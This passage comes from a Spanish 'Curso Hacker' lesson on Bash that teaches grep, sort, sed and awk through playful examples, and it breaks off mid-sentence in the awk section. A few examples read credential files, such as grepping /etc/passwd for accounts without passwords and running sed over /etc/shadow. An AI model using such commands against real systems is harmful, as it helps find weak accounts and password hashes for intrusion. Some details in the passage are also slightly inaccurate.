Está en la página 1de 79

\\\\\\\\\\\\ CURSO orientación HACKER //////////////

//////////// By DarKh|s.exe ³ (n+1) \\\\\\\\\\\\\\


Lección nº28 Prácticos – #!/bin/bash

Autor: DarKh|s.exe ³ (n+1)


Correo electrónico: darkhis@alumnoz.com
Sitio Web: http://www.cursohacker.com

índice:

1 Introducción
2 Filtros en UNIX
3 Programación Bash
4 PrOyExTo - Scanner de Puertos
5 Shell Viruxes
6 Prácticos

Exoneración de Responsabilidades: No se asumen responsabilidades


debidas al empleo de la información aquí contenida. Este texto tiene
únicamente fines educativos y en ningún caso se pretende incitar al
alumno a cometer un delito, ya sea informático o de otra índole.

1º Introducción

Sean nuevamente bienvenidos al mágico mundo del shell Bash y sus


bastos recovecos. En el día de hoy nos encontramos con una lectura
amena, liviana y sutilmente profunda, lo cual comprobarán a medida
que se deslicen entre las siguientes hojas.

En primer lugar estudiaremos algunos filtros, estos son herramientas


del shell útiles para manipular los datos contenidos en archivos así
como la salida de programas y comandos, extrayendo la información
que deseamos y filtrando todo lo que no nos interesa.

Los filtros serán de mucha ayuda para crear programas Bash que
requieran manejar variables cuyo contenido es una porción específica
de la salida de algún comando o bien ejecutar otros que nos den
solamente la información de nuestro interés, ahorrándonos tiempo y
dejándoles sorprender a todo su Admin & Networking Department B).

Posteriormente programaremos con AWK, un lenguaje destinado a


agilizar tareas lógicas mediante programitas que trabajan procesando
una entrada de datos, prestándonos funciones muy básicas así como
muy avanzadas según nuestros requerimientos.

Adentrándonos en un tema de muchísimo interés, uso cotidiano y


aplicación constante, comenzaremos a programar Bash de la mano de
herramientas simples, conociendo el funcionamiento general de las
variables, aprovechando el uso de funciones nativas y aplicando los
conocimientos a situaciones reales que podrán ser manipuladas para
obtener resultados más prácticos y a su medida.

Realizaremos programas interactivos y participativos integrando los


filtros, brindándonos el medio para crear aplicaciones que nos ayuden
a completar nuestras tareas de una forma más eficiente.

Continuando a paso firme, derecho, fuerte y conciso, compartiremos


un proyecto underground en el cual programaremos Bash para lograr
una herramienta de seguridad informática en un entrono apasionante
que nos hará vivir una experiencia única, la cual lamentablemente no
podrán olvidar y los dejará traumados para la eternidad :P.

Finalmente nos iniciaremos en un tema delicado, los virus en shell-


scripting... historias, consejos, técnicas, métodos y ejemplos serán
los que me ayudarán a mostrarles que existe detrás de la cortina,
dejando claro el factor principal de su proliferación: Irresponsabilidad.

No nos distraigamos más, a estudiar.

2º Filtros en UNIX

Filtros: Maravillosos programas que conforman parte de la esencia de


Unix y potencian el poder de su línea de comandos y las fantásticas
cosas que podemos hacer desde la pantalla negra.

Mientras que la Real Academia de Nerds dice: Un filtro es el programa


que modifica o transforma su entrada para obtener su salida.

Ejemplos claros de la gran familia de filtros disponibles en UNIX son


“grep” y “tail” para seleccionar una parte de la entrada, “sort” para
clasificarla y “wc” para contarla (no lo confundan con “WC” utilizado
para leer el diario o revistas como Condorito, Zipi-Zape, etc… :P).

La combinación de filtros representa un método práctico y efectivo


para trabajar en sistemas UNIX, ya que a partir de componentes
sencillos podremos desarrollar tareas complejas.

A la hora de trabajar combinaremos los filtros con otros comandos


comunes para hacer cosas que nunca podrían hacer en el shell de
Microsoft Windows (no sin “UNX Utils” o “Cygwin”, lo que sería como
trabajar en UNIX así que no tiene lugar la moción… a lugar! :B).

Además de filtrar comandos también podremos tomar como entrada


de datos uno o más archivos, de tal forma que serán procesados y
obtendremos un resultado según lo comandado, valiéndonos de las
herramientas “grep”, “sed”, “awk”, etc…
Refiriéndome específicamente a “awk”, veremos que más que un
filtro, es un lenguaje de programación para tareas sencillas.

Antes de empezar a jugar con los filtros tendremos que estudiar algo
que será común al trabajar con ellos. Aprendamos un poco sobre las
expresiones regulares y los metacaracteres.

Las expresiones regulares se usan para definir cadenas, dejándonos


fijar patrones de identificación y en definitiva compararlas con otras.

Esto es parte esencial de los programas de filtro que veremos a


continuación ya que con una expresión regular buscaremos dentro de
un archivo o salida de texto.

Otra cosa a tener en cuenta son los metacaracteres, estos son (al
igual que en el shell de Microfost Fuindougs) los caracteres especiales
interpretados por el shell de forma distinta.

Los caracteres con significado especial para el shell son: “.”, “*”, “^”,
“$”, “[”, “]”, “{”, “}”, “|”, “(”, “)”, “+”, “?” y “\”.

De este modo, si desean utilizarlos como algo diferente su función en


el shell (por ejemplo como texto), tendrán que intervenirlos. Iremos
viéndolo con detalles a medida que avancemos con las expresiones
regulares.

Lo importante y que debe quedar claro es que si los escribimos tal


cual son, estos caracteres serán interpretados de forma distinta a lo
que realmente deseamos, por lo que si queremos que el caracter se
interprete como el texto que es, tenemos que precederlo por el
metacaracter “\” para escaparlo. Por ejemplo “\*” será un asterisco y
“\\” una retrobarra. Si por otro lado colocamos solo un “*”, la
expresión regular equivaldrá a uno o varios caracteres cualquiera,
mientras que por otro lado “?” es comodín para solo un caracter.

Si se sienten fuera de tema no se preocupen, a medida que veamos


los diferentes filtros les irá quedando más que claro ;).

Comencemos estudiando las expresiones regulares más básicas, las


que buscan coincidencia para un solo caracter o cadena…

a Concuerda solo con el caracter “a”.


. Concuerda con cualquier caracter excepto “nueva línea”.
[abc] Concuerda con “a”, con “b” o con “c”.
[^abc] Concuerda con un caracter que no sea “a”, ni “b”, ni “c”.
[0-9] Concuerda con cualquier digito entre “0” y “9”.
[c-h] Concuerda con cualquier letra de la “c” hasta la “h”.
^ Concuerda con el inicio de la línea.
$ Concuerda con el final de la línea.
\a Cancela el significado de “a” si este es un metacaracter.
a* Concuerda con cero o más caracteres “a” (a, aa, aaa...).
a1a2 Concuerda con la cadena “a1” seguida de la cadena “a2”.

Existen también las expresiones POSIX (Portable Operating System


Interface), que definen un estándar de distintas propiedades para
tener compatibilidad en distintas plataformas Unix. El término POSIX
fue sugerido por Richard Stallman y sus expresiones se definen entre
paréntesis rectos de la siguiente forma…

[:alnum:] Caracteres alfabéticos y numéricos.


[:alpha:] Solo caracteres alfabéticos.
[:blank:] Espacio y tabulador.
[:cntrl:] Caracteres de control.
[:digits:] Dígitos.
[:lower:] Caracteres en minúscula.
[:upper:] Caracteres en mayúsculas.
[:space:] Todos los “caracteres transparentes” ([:blank:], nueva
línea, retorno de carro, etc).
[:xdigit:] Números hexadecimales.

Estas expresiones POSIX las podemos utilizar para buscar cadenas


que justamente concuerden con alguno de estos casos.

No empiecen con las ganas de llorar ahora, esperen y junten más :P,
acompáñenme por otro par de páginas, comencemos con los filtros…

Nombre del Filtro: GREP

El filtro “Global Regular Expresion and Print” examina archivos (o bien


la salida de un comando) en busca de todas las líneas que coincidan
con una expresión regular que lo acompaña.

Como ya dije una expresión regular define un patrón de texto al que


luego el filtro tendrá que igualar.

El filtro “grep” se usa comúnmente para tomar líneas coincidentes de


la entrada estándar y pasarlas a la salida estándar. Comencemos a
ver unos ejemplos y mojarnos en el tema…

bash-2.05b$ who | grep pamela

Vemos si el usuario “pamela” tiene una sesión iniciada en el sistema,


ya se están mojando?¿ :P.
bash-2.05b$ ls -l | grep -v .txt

Muestra la salida de “ls –l” omitiendo los archivos de extensión “.txt”.

bash-2.05b$ ls -l | grep ^d

Lista solo los directorios contenidos en el resultado de la consulta.

bash-2.05b$ ls -l | grep ^.r.x

Lista archivos que se puedan leer y ejecutar por su dueño.

bash-2.05b$ grep ^[^:]*:: /etc/passwd

Busca usuarios que no tengan contraseña >).

bash-2.05b$ grep Shirley telefonos.txt

Busca la cadena “Shirley” en el archivo “telefonos.txt” e imprime la


línea que contenga esta cadena… no me digan que recién compraron
un complejo software de agenda telefónica?¿ :P.

bash-2.05b$ grep SimboloDePaz *.mind

Busca “SímboloDePaz” en todos los ficheros con extensión “.mind”.

bash-2.05b$ find /usr -name "*.h" -exec grep struct {} \; -print

Agregando un poco de caos, con “find” y mediante su parámetro


“name” buscamos los archivos de extensión “.h” del directorio “/usr”
para luego y por el parámetro “exec” ejecutar “grep struct {}” para
cada coincidencia, mientras que el parámetro “print” imprime el
nombre de cada archivo… esto lo comprenderán recién al releer toda
la lección :9…

bash-2.05b$ grep darkhis /etc/passwd

Busca la línea que contiene “darkhis” en el archivo “/etc/passwd”.

bash-2.05b$ grep chteam0[1-9] /etc/passwd

Imprimirá las líneas de los usuarios “chteam01” hasta “chteam09” del


archivo “/etc/passwd”… vamos de difícil a fácil :P…

bash-2.05b$ grep -i tiazinha $HOME/lib/agenda

Ahora si tenemos una agenda más funcional, ya que con la opción “-i”
busca el teléfono de “tiazinha” en la “agenda” ubicada en nuestro
directorio personal, sin fijarse en mayúsculas o minúsculas.
Continuando, aparte de “grep” tenemos dos filtros más de la misma
familia, estos son “fgrep” y “egrep”. Básicamente estos filtros tienen
el mismo comportamiento que “grep” salvando, como deben suponer,
algunas diferencias :B…

“fgrep” solo busca cadenas simples, o sea que no admite expresiones


regulares, lo cual lo vuelve más veloz (fgrep = fast grep). Su mayor
utilidad radica en buscar palabras en paralelo.

En cuanto a “egrep” (extended grep), acepta las mismas expresiones


regulares como patrones de búsqueda sumando algunos agregados…

a|b Concuerda con “a” o con “b”.


(ab)* Los paréntesis agrupan la cadena “ab”, la expresión
concuerda con cero o más cadenas “ab” (abab, ababab…).
a+ Reconoce una o más “a” (cero no concordará).
a? Reconoce una “a” o dos “a” (aa), pero no más.

Seguro que pese a no entender todo van mejorando y ya no tienen


tantas ganas de llorar :)… sigamos viaje…

Nombre del Filtro: SORT

Con el filtro “sort” (ordenar) podremos clasificar una entrada de


datos, permitiéndonos ordenar las líneas de la entrada y dividirlas en
diferentes campos, realizando ordenamientos alfabéticos, numéricos,
ascendentes y descendentes. A los ejemplos!…

bash-2.05b$ sort agenda > agenda_ordenada

Ordenará alfabéticamente las líneas de “agenda”. Por defecto “sort”


envía el resultado a la salida estándar pero con “>” (como sabemos),
lo redireccionamos para que envíe el resultado a otro archivo llamado
“agenda_ordenada”.

bash-2.05b$ sort -n telefonos > telefonos_ordenados

Se comporta igual que el comando anterior pero ordenando las


columnas numéricamente.

bash-2.05b$ ls -l | sort –f

Clasifica nombres de archivo por orden alfabético.

bash-2.05b$ ls -s | sort –n

Clasifica los archivos por tamaño, los más pequeños irán primero.
bash-2.05b$ who | sort +4n

Clasifica por orden de inicio de sesión, primero el más antiguo.

Estudiemos este último ejemplo profundamente. Como saben una


salida de el comando who tiene la forma…

bash-2.05b$ who
root tty1 May 7 10:29
darkhis tty2 May 7 10:29
neuromante tty3 May 7 10:46

En “sort”, cada carácter “espacio” (no consecutivo) o “tabulador” es


un delimitador de campo por defecto, con el parámetro “-tcaracter”
cambiamos este delimitador a nuestro gusto por ejemplo…

sort -t:
sort -t/

Los mas pillines se estarán imaginando lo del “+4”, pero también se


preguntarán “pero la hora es el campo 5!!?¿”… pues no!!!, en “sort”
los números de campo y de caracter empiezan con el 0, entonces el
+4 nos lleva a el campo con la hora :).

Los caracteres de cada campo también se identifican con un número


y empiezan de 0, para eso veamos el siguiente ejemplo…

bash-2.05b$ who | sort +1.3


root tty1 May 7 10:29
darkhis tty2 May 7 10:29
neuromante tty3 May 7 11:13
platinium tty4 May 7 11:18

Creo que está claro pero por las dudas aclaro :P… aquí nos movemos
hasta el cuarto caracter del segundo campo, ordenándolos con “sort”
para que muestre la salida en orden de las terminales ;).

Finalizando el tema de los campos y para confundirlos un poco (con el


fin de que practiquen XD), podemos concluir que “+1” “-2” se iniciará
en el primer caracter del segundo campo y terminará en el primer
caracter del tercero, es decir todo el segundo campo.

Otro parámetro interesante es el “r”, el cual invierte la clasificación.


El resto de los muchísimos parámetros de “sort” (al igual que para
todos los programas que veamos), pueden encontrarlos ojeando la
página de manual correspondiente :).

Nombre del Filtro: SED


Sed es un editor de flujos (Stream EDitor), el cual permitirá hacer
transformaciones básicas en cadenas o archivos. La sintaxis de “sed”
es la siguiente…

bash-2.05b$ sed 'comandos sed' archivos

Como no deben imaginar, “sed” no manipula sus archivos de entrada


sino simplemente imprime los cambios en la salida por lo que si
queremos guardar los cambios en un archivo deberíamos utilizar la ya
conocida fórmula…

bash-2.05b$ sed 'comandos sed' archivos > archivomodificado

Muchos son los comandos que podemos utilizar con “sed”, la mayoría
derivan de “ed”, un editor pequeño que está disponible en cualquier
UNIX. Actualmente “vi” es más potente y como saben también está
en todos los UNIX pero bueno… la idea de “sed” viene de este viejo
editor y por eso lo menciono :).

Una de sus infinitas utilidades más útiles (valga la redundancia), será


la de sustituir una cadena por otra dentro de un archivo…

bash-2.05b$ sed 's/jeny/jenylove/g' amigas >> conderechoaroce

Cada vez que “sed” se encuentre con “jeny” en el archivo “amigas” lo


cambiará por “jenylove” y lo escribirá en “conderechoaroce”.

A veces, cuando vamos a imprimir un archivo de texto plano, sucede


que las oraciones empiezan muy a la izquierda. Veamos como utilizar
el filtro “sed” para darle un poco más de margen izquierdo…

bash-2.05b$ sed 's/^/ /' relato.x > relatoymargen.x

Con esto modificamos cada renglón, agregándole 8 espacios blancos


a cada uno (un tabulador).

El problema de este comando es que, aunque no se vea, también le


agregará tabuladores a las líneas en blanco, lo cual no queda prolijo.

Para arreglar este problema podemos valernos del patrón “/./”, que
concuerda con cada línea que tenga al menos un caracter sin ser el
de “nueva línea”. El comando mejorado quedaría así…

bash-2.05b$ sed '/./s/^/ /' relato.x > relatoymargen.x

En la lucha por ser una herramienta multifuncional que satisfaga toda


necesidad de su usuario potencial (en principio su/sus creadores :P),
“sed” también resulta muy bueno para trabajar con líneas, veamos…
bash-2.05b$ sed 10q 100tips4sex2nite

Hace lo mismo que el comando “head”, imprime las 10 líneas iniciales


del archivo y vuelve al shell.

Además, en lugar de usar un número podemos usar un patrón, como


puede ser una palabra o lo que necesitemos, veamos…

bash-2.05b$ sed '/telnet/q' /etc/inetd.conf

Imprimirá desde el inicio hasta la primera línea que concuerde con el


patrón “telnet” (que tenga esa palabra), incluyéndola.

Otra opción interesante es la “d”, la cual evita que se impriman las


líneas que concuerden con el patrón, por ejemplo…

bash-2.05b$ sed '/#/d' /etc/inetd.conf

No imprimirá las líneas que incluyan comentarios.

Si agregamos el parámetro “-n” le decimos al “sed” que imprima solo


las líneas que concuerden con el patrón definido con “p”, vean…

bash-2.05b$ sed -n '/model name/p' /proc/cpuinfo

También podemos especificar números de línea como patrones…

bash-2.05b$ sed -n '2p' /proc/meminfo

Con lo que devuelve la segunda línea del archivo.

Siguiendo la “lógica”, podremos usar la “,” para especificar rangos de


líneas a imprimir, por ejemplo…

bash-2.05b$ sed -n '7,11p' /etc/rc.d/rc.inet1.conf

También existe la forma de hacer que no se muestren determinadas


líneas, cambiando “-n” por “-d”.

Como he comentado al inicio del tema debemos tener cuidado con los
caracteres especiales ya que de colocarlos mal serán interpretados en
el shell o “sed” en lugar de cumplir la función de ser, por ejemplo, un
texto a buscar, veamos un ejemplo para buscar un carácter especial
dentro de un archivo…

bash-2.05b$ sed -n '/$/p' /proc/cpuinfo # MAL

bash-2.05b$ sed -n '/\$/p' /etc/shadow # BIEN


Como pueden apreciar, para definir el patrón coloqué una “\” antes
del caracter especial.

Nombre del Filtro: AWK

Este filtro esta optimizado para manipular datos. AWK es un lenguaje


de programación que se parece a C pero que incorpora ideas de
otros, los programas escritos en AWK pueden ser de una sola línea
con la particularidad de realizar una tarea que sería muy compleja en
otros entornos de programación.

AWK es un lenguaje de gran ayuda para quienes aprenderán C, ya


que se comporta igual en muchas características. Es verdad que no
se puede hacer todo lo que hacemos en C con AWK, pero es un
acercamiento importante por lo cual considero elemental incluirlo y
tratar con sus características más importantes. Documentarles todo el
lenguaje en un espacio razonable sería imposible (pese a que C está
muy bien explicado en las lecciones 31 y 32), así que con lo que voy
a exponer ahora les alcanzará para hacer herramientas utilitarias,
seguir adelante en su meta y profundizar independientemente si así
lo desean…

El lenguaje se llama de esta forma en honor a sus autores: Alfred Aho


(colega nuestro), Peter Weinberger (vendido a Google) y Brian
Kernighan (figurita repetida). El mismo se creó en 1977 dentro de los
laboratorios de AT&T, aunque no fue sino hasta 1985, con una nueva
versión, que el lenguaje se hizo realmente potente y utilizable.

La herramienta que utilizaremos para correr nuestros programas será


“awk”, no obstante existen otras como por ejemplo “gawk”, creada
por Paul Robin y Jay Fenlason con los consejos y la ayuda del propio
Richard Stallman para el proyecto GNU en 1986.

Sin que pasara mucho tiempo y de la mano de Davis Trueman “gawk”


sea hace totalmente compatible con “awk”, por lo que hoy da igual
utilizar el interprete que prefieran :).

El programa “awk” se invoca de la siguiente forma…

bash-2.05b$ awk 'programa' archivo

Los argumentos obligatorios son solamente estos dos. Luego con “-F”
podemos cambiar el separador de campos que por defecto es espacio
o tabulador, por otro lado “-f” lee un programa desde un archivo en
lugar de hacerlo desde la línea de comandos.

El intérprete (programa) “awk” divide cada línea de la entrada que le


pasamos en campos, comencemos con un programa sencillo…
Suponemos que finalmente cumplimos nuestro sueño: Hackeamos un
pentágono y nos retiramos… Volvemos al rioba y compramos el local
de la fábrica de pastas de la esquina, arreglamos todo y subimos la
reja con nuestra propia vinería ;)… Como empresarios organizados
tendríamos en nuestra PC el siguiente archivo llamado “ventas” con
los datos de los productos, sus precios y sus ventas en litros…

Tinto 24 50
Rosado 27 30
Blanco 28 0
Cortado 21 70
Rebajado 11 546

Al interpretar este archivo (ya verán como) awk divide a cada renglón
en campos (por defecto separados con espacios o tabuladores).

Estos campos se llaman $1, $2, $3… NF, donde “NF” es una variable
cuyo valor es igual al número total de campos. Noten que el conteo
de campos comienza por “1” y no por “0”, que ya verán que contiene.

bash-2.05b$ awk '{print $1, $2 * $3}' ventas

Eso muestra la lista de productos junto a la recaudación obtenida,


desglosando lo que va dentro de los corchetes tenemos lo siguiente…

print Orden para imprimir el resultado (análogo a “echo”).


$1 Contiene el valor de el primer campo de la línea.
, Separa $1 del resto de las cosas a imprimir.
$2 * $3 Es el total de multiplicar el segundo por el tercer campo.

Mas ejemplos sencillos…

bash-2.05b$ who | awk '{print $1, $5}'


root 10:29
darkhis 10:29
neuromante 10:46

Prueben y comprendan lo que hacen los siguientes ejemplos…

bash-2.05b$ who | awk '{print $1, $5}' | sort +1n

bash-2.05b$ cat /etc/passwd | awk -F: '{print $1}'

Simple y lineal verdad?¿, seguro que ninguno ha vuelto al comienzo


de la lección y ya se creen grandes expertos en programación de
filtros :~), sigamos…

Campos y variables de campo, veamos casos reales XD…


CURSOHACKER ES ELITE

$0: CURSOHACKER ES ELITE


$1: CURSOHACKER
$2: ES
$2: ELITE
NF 3

Como había mencionado, NF es una variable predeterminada que


contiene el numero de campos, en este caso “NF = 3”, mientras que
$0 contiene toda la cadena. Noten que “NF” va sin el símbolo “$”.

bash-2.05b$ printf 'CURSOHACKER ES ELITE' | awk '{print NF}'

Más variables de entrada…

FS Separador de campos de entrada, se cambia con -F.


RS Separador de registros, por defecto es nueva línea (/n).
Para líneas más largas hay que cambiarlo a (.) o (,).
NF Número de campos del registro actual.
NR Número de registro o línea actual de entrada.
FILENAME Nombre del archivo actual de entrada.

Pasemos a investigar de que se trata la parte del “programa”, la cual


básicamente y como es común en los filtros, es una secuencia
“patrón-acción” que responde a la siguiente forma…

patrón { acción }
patrón { acción }

En awk tenemos dos patrones resaltados e importantes, estos son


“BEGIN” y “END”.

El primero se ejecuta antes de que se lean los datos por lo que puede
usarse para inicializar variables, para especificar variables de campo
con FS, etc… Veamos un ejemplo con BEGIN…

bash-2.05b$ awk 'BEGIN { FS = ":" }


> $2 == ""' /etc/passwd

Esto no tiene que producir ninguna salida, si les aparece una salida
les recomiendo ahorcarse con el cable de red, sabiendo que no
entendieron porque hice eso continúo %)…

Quiero que noten que el símbolo de mayor que aparece al principio


de la segunda línea no lo deben digitar, el shell lo coloca por no haber
cerrado la comilla que abrimos en la primera línea e indica que el
comando esta continuando, en caso de que tampoco se termine el
programa en la segunda línea seguirán apareciendo símbolos de
mayor en las líneas siguientes hasta que cerremos la comilla (o bien
el programa).

Ahora vamos a un ejemplo con END, patrón que indicará las acciones
a tomar una vez leídas todas las líneas. Un ejemplo de la vinería…

bash-2.05b$ awk ' { v = v + $2}


>END { print v } '

Este programa lo que hace es contarnos en la variable “v” la platita


que hemos hecho en nuestra ya famosa vinería, para los que no se
avisparon este programa se aplica al archivo de ventas con sus
ganancias o bien filtrando la primera salida.

Alumno Nerd: No entiendo!, si awk no altera sus archivos de entrada!


DarKh|s: No seas tonto y usa “>”, o modifica este código ;).

Lo que deseo demostrar es que el patrón END se ejecuta al final y


que el vino se vende bastante bien :P.

Esto se debe a que en ciertas ocasiones la gente prefiere tomarse un


vinito y dejar de sentir las extremidades para de ese modo recibir
golpes y parecer de goma (caso punks) o bien para no estar de cara
y fumarse a los pelotudos que los rodean, otra utilidad interesante es
encontrarse con algún ser apasionante y tener una noche de locura
sin control… Por otro lado y menos importante vemos que antes de
ejecutarse el patrón END, se hicieron “otras cosas” de las cuales no
había hablado aun…

Cómo comenté ligeramente, awk hizo un cálculo sobre un dato de la


entrada usando una variable llamada arbitrariamente “v”, lo cual
conduce por las conglomeradas constelaciones de información para
conocer en la siguiente sección, a los operadores y las variables que
usa AWK, sitio en donde se esconde el verdadero poder de este
lenguaje de programación. Queda claro?¿ :P.

Pasemos a explicar las variables, ya vimos en el ejemplo anterior que


con AWK es fácil sumar columnas de números, sacar promedios y
hacer otras operaciones. Vemos también que las variables declaradas
por el usuario se definen al empezar a usarse y se inicializan a 0,
mientras que también tenemos las variables predefinidas que son NF,
RS, etc…

En AWK tenemos un rico conjunto de operadores, empecemos con los


operadores aritméticos…
+ Suma.
- Resta.
* Multiplicación.
/ División.
% Residuo o Resto.
^ Potencia (por ejemplo x^y).

Estos operadores no necesitan explicación porque ya los vimos miles


de veces, pasemos a los operadores aritméticos abreviados, que son
menos comunes (aunque también los hemos visto) y coinciden con
los que ofrece el lenguaje C.

Estos operadores nos servirán para obtener códigos más compactos,


por ejemplo para escribir “v = v + $1” podemos usar el operador
abreviado “+=” de la siguiente forma…

v += $1

Que hace lo mismo pero de manera más compacta. Análogamente


disponemos de los operadores “-=”, “*=”, “/=” y “%=”.

Antes de ver otros operadores recordemos al operador de asignación,


el cual representa la forma más directa y fácil de asignar un valor a
una variable. El operador de asignación es el “=” y se usa así…

s = 15
s = “hola”

Esto nos conduce a que AWK conoce dos tipos de valores, numéricos
y cadenas. Las cadenas son secuencias de caracteres y se encierran
entre comillas (“una cadena”), los numéricos se escriben al vuelo.

Continuando, pasemos a los operadores de incremento o decremento,


los cuales se aplicarán siempre a una variable numérica…

v++ Devuelve el valor de “v” y luego le suma 1.


++v Suma 1 a “v” y luego devuelve el resultado.
v-- Igual a “v++” pero restando 1.
--v Igual a “++v” pero restando 1.

Pasemos a un ejemplo sencillo usando el operador “+=” e igualando


una variable a una cadena con el operador “==”, del cual todavía no
he hablado pero conocen…

bash-2.05b$ ls -l –time-style=locale | awk ' $6 == "Apr"


> { sum += $5 } END { print sum }'
Este ejemplo (siempre prueben y jueguen con los ejemplos), esta
interconectado con el comando “ls”, el cual con la configuración que
usamos nos muestra en el campo 6 la fecha de creación/modificación
de los archivos listados, mientras que el campo 5 su tamaño. De esta
forma el programa filtra los archivos que fueron creados en Abril,
suma las columnas del tamaño utilizando el operador “+=” e imprime
la suma total de todos los tamaños.

Si desean que no aparezcan los archivos a sumar y solo el resultado,


ya saben BEGINear no?¿ ;).

Visto el operador “==” procedo a refrescarlos… Este operador es un


operador de comparación que no es lo mismo que el operador de
asignación “=”. Los operadores de comparación sirven para comparar
números o cadenas, en cuanto a las cadenas diré que se comparan
caracter por caracter hasta encontrar un caracter distinto o llegar al
final de una de las cadenas, si se detecta un caracter distinto, se
comparan los caracteres de acuerdo a sus valores ASCII, la cadena
con el caracter menor será la “menor”, si se llega al final de una
cadena esta también sería la “menor”, si se realizan comparaciones
entre un número y una cadena, el número se transforma a cadena.

A continuación los operadores de comparación…

== Compara si es igual. No confundir con “=” !!!.


!= Distinto.
< Menor.
> Mayor.
<= Menor o igual.
>= Mayor o igual.

En AWK (como en todos los lenguajes vistos), un valor verdadero


será “1” y uno falso “0”. De este modo una comparación verdadera
generará un valor 1, pueden adivinar que pasa en una comparación
falsa?¿ mmhmhmhmmhmm… dudas =:-}.Va un ejemplo…

bash-2.05b$ awk –F: '$7 == "/bin/bash" { print $1 }' /etc/passwd

Imprime el nombre de los usuarios que cumplen la coincidencia, o


sea con acceso a un shell “/bin/bash” en el sistema.

Antes de pasar al control de flujo me resta decir que awk tomará todo
lo que esté después de un “#” en una línea como un comentario, es
decir que no tiene validez para el intérprete y sirve para aclarar el
código, tanto para los demás como para nosotros mismos, ya que
olvidarse de las cosas es muy natural en Uds. los humanos [-^-].

Control de flujo…
Como todo lenguaje de programación, AWK tiene control de flujo. Me
supongo que ya estamos un poquito acostumbrados a esto pero igual
voy a explicar como se lleva a cabo en este lenguaje. Empecemos con
“if-else”, para tomar decisiones…

if(condición)
cuerpo1
else
cuerpo2

Con esta sintaxis “condición” controlará el flujo del programa, o sea


que si condición es verdadera (1) se ejecutará “cuerpo1”, en caso
contrario la condición será falsa (0) y se ejecutará “cuerpo2”. Veamos
un ejemplito…

bash-2.05b$ awk '{


> if($x % 2 == 0)
> print $x " es par"
> else
> print $x " es impar"
> }’
1
1 es impar
2
2 es par
3
3 es impar
4
4 es par

…^C y salimos de la matrix B).

Primero declaramos la variable “x” dentro del “if” y luego, si “x” es


impar o par se imprime el mensaje en pantalla de “x es par” (cuerpo
del “if”) o “x es impar” (cuerpo del “else”).

Pasemos ahora al bucle “while”, el cual se presenta en AWK de la


siguiente forma…

while(condición) {
cuerpo
}

Un bucle significa que esta parte del programa puede ser ejecutado
varias veces, en este caso nuestra “condición” controlará cuantas
veces se ejcutará el cuerpo, por ejemplo…

bash-2.05b$ awk '{


> a = 1
> while(a<=2) {
> print $a
> a++
> }
> }'
curso hacker es elite
curso
hacker

El programa imprime los dos primeros campos de un registro que en


este caso y a modo de ejemplo es el sabido concepto “curso hacker
es elite”. Como ven todo funciona correctamente, un campo por línea.

A los olvidadizos les recuerdo que el “while” funciona de la siguiente


forma… se inicializa “a = 1”, “while” corrobora que “a” sea igual o
menor de “2”, como esto es verdadero se muestra el primer campo,
el comando “a++” incrementa “a” en uno y se repite el bucle. Ahora
la variabl e “a” pasa a tener el valor “2”, el cuerpo muestra el segundo
campo en otra línea y se le suma otra unidad a “a”. Al reiniciarse el
bucle finalizará el programa, ya que “a” paso a valer “3”.

Sigamos con la sentencia “for”, la cual tiene la siguiente sintaxis…

for(inicialización; condición; incremento)


cuerpo

La proposición “for” tiene un parecido con “while”, veamos el porque


de esto…

Primero se inicializa, por lo general en la parte de “inicialización” va


una variable igualada a un número, luego, mientras la “condición” sea
cierta se ejecuta el cuerpo y finalmente en cada bucle se aplicará el
“incremento”. Si no perciben la similitud con el “while”, rescátense
con el siguiente ejemplo…

bash-2.05b$ awk '{


for(a=1; a<=2; a++)
> print $a
> }'
curso hacker es elite
curso
hacker

Hagamos un pequeño break en el control de flujo ;) (chiste para


entendidos), para explicar algo que me parece importante antes de
continuar… He venido utilizando mucho la función “print”, la cual es
aceptable pero no tiene de un control total de la salida, por ejemplo…

print $x " es par"

Esto no es muy elegante para lograr el objetivo que queríamos (al


menos no el mío) y como vamos a ver a continuación, la función
predefinida “printf” nos dará mayor control de nuestra salida, como
por ejemplo el ancho de los campos a imprimir, pero lo más útil e
importante es controlar las letras y la especificación de formato.

No explicaré cada característica de “printf” ya que es muy similar a la


función “printf” del lenguaje C (y que verán más adelante), además
de que si desean pueden hacer “man printf” y aparecerá el manual
completo de como se utiliza esta función :).

Los especificadores de formato comienzan por un “%” y siguen con el


tipo de valor a imprimir (una letra para cada tipo). Entre los más
comunes tenemos…

%c Imprime un número como caracter ASCII.


%d Un entero decimal.
%e Número en notación científica.
%f Número con coma flotante.
%o Entero octal sin signo.
%x Hexadecimal sin signo.

Tal como en el lenguaje C, la función “printf” nos presenta distintos


caracteres de escape formados con una “\” seguido de una letra…

\n Nueva línea.
\t Tabulador.
\ Pitido :P.

Aclarado lo deseado, es probable que algunos hayan quedado en la


misma…. Sepan Uds. que con los ejemplos que veremos a lo largo de
la clase les va a quedar muuuuy claro, como ya les han quedado
todos los filtros, verdad?¿ :P.

Entonces, de ahora en adelante usaremos “printf” en lugar de “print”,


discúlpenme por haberme alejado del sendero pero creí conveniente
controlar la salida de forma más elegante antes de continuar.

Tal cual habíamos acordado sigamos con la sentencia “break” :P, que
nos ayuda a salir del “for” o “while” más interno.

Veamos un ejemplo de un programa que imprime el divisor más


pequeño de cualquier número entero y se da cuenta si se trata de un
número primo…

bash-2.05b$ awk '{


> num = $1
> for(div=2; div*div<=num; div++)
> if(num % div == 0)
> break
> if(num % div == 0)
> printf"El menor divisor de %d es %d.\n", num, div
> else
> printf "%d es primo.\n", num
> }'
1
1 es primo.
4
El menor divisor de 4 es 2.

Ahí creo que ya pueden junar un poco la elegancia de la salida con el


comando “printf” en lugar del “print” ;*.

Aunque este no es un curso de matemáticas, si desean ser o parecer


Hackers este razonamiento no puede ni debe ser un obstáculo en su
camino, de todos modos y contra de mis principios voy a explicarlo…

Cuando el resto del primer if es “0” o se deja de cumplir la condición


awk sale del bucle for en el que está contenido, continuando por lo
siguiente que tenga para ejecutar, en este caso otro if.

…estudien este caso con detenimiento :·Y… una pista?¿, debuguén ;).

Pasemos a la sentencia “continue”, que al igual que “break” se usa


dentro de bucles “for” o “while”, saltando las sentencias que quedan
por ejecutarse dentro del bucle y volviendo a fijarse en la condición.

El siguiente programa imprime los números del “0” al “10” menos el


“4” ya que lo haremos saltar con la sentencia “continue”, veamos…

bash-2.05b$ awk 'BEGIN {


> for(x=0; x<=10; x++) {
> if(x == 4)
> continue
> printf("%d", x)
> }
> printf("\n")
> }'
01235678910

Tal cual lo esperábamos, dentro del blucle for la sentencia continue


se salta el resto del bucle y vuelve a comprobar el for por lo que el
